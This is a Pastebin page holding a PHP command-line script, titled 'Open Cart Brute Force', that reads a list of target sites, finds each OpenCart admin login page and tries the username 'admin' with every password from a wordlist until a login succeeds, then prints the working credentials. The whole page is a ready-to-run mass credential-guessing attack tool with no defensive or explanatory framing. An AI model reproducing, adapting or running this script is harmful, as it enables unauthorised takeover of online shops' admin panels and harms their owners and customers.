Advertisement
pakhaxor

Open Cart Brute Force (CLI Version PHP)

Jun 2nd, 2016
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.87 KB | None | 0 0
  1. <?php
  2. Class PakHaxor{
  3. //create by pak haxor
  4. //--------function---------//
  5. public function curl($url,$post = false)
  6. {
  7. $curl = curl_init($url);
  8. if($post !== false)
  9. {
  10. curl_setopt($curl, CURLOPT_POST, true);
  11. curl_setopt($curl,CURLOPT_POST,1);
  12. }
  13. curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
  14. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
  15. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  16. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  17. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  18. curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
  19. curl_setopt($curl,CURLOPT_COOKIEJAR,  'cookie.txt');
  20. curl_setopt($curl, CURLOPT_COOKIESESSION, true);
  21. $data = curl_exec($curl);
  22. return $data;
  23. }
  24.  
  25. public function revup($site)
  26. {
  27. $valid = file_get_contents($site."/admin/index.php?route=common/login");
  28. if(eregi("username",$valid))
  29. {
  30. $passlist ="pass.txt";
  31. $pass=file($passlist);
  32. foreach ($pass as $password){
  33. $password=str_replace("\r","",$password);
  34. $password=str_replace("\n","",$password);
  35. $post = "username=admin&password=".$password;
  36. $curl = $this->curl("$site"."/admin/index.php?route=common/login",$post);
  37. if(eregi("and/",$curl))
  38. {
  39. echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Failed Login\n";
  40. }
  41. else
  42. {
  43. echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Success Login\n";
  44. break;
  45. }
  46. }
  47. }
  48. else
  49. {
  50.     echo $site."/admin/index.php?route=common/login Admin Tidak Ditemukan/Bukan Open Cart "."\n";
  51. }
  52.  
  53.  
  54. }
  55. //-------------------------//
  56. }
  57. $brute = new PakHaxor();
  58. error_reporting(0);
  59. set_time_limit(0);
  60. $sitelist ="list.txt";
  61. $get=file($sitelist);
  62. foreach ($get as $urls){
  63. $urls=str_replace("\r","",$urls);
  64. $urls=str_replace("\n","",$urls);
  65. echo "[+] Scaning : $urls \n";
  66. $brute->revup($urls);
  67. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement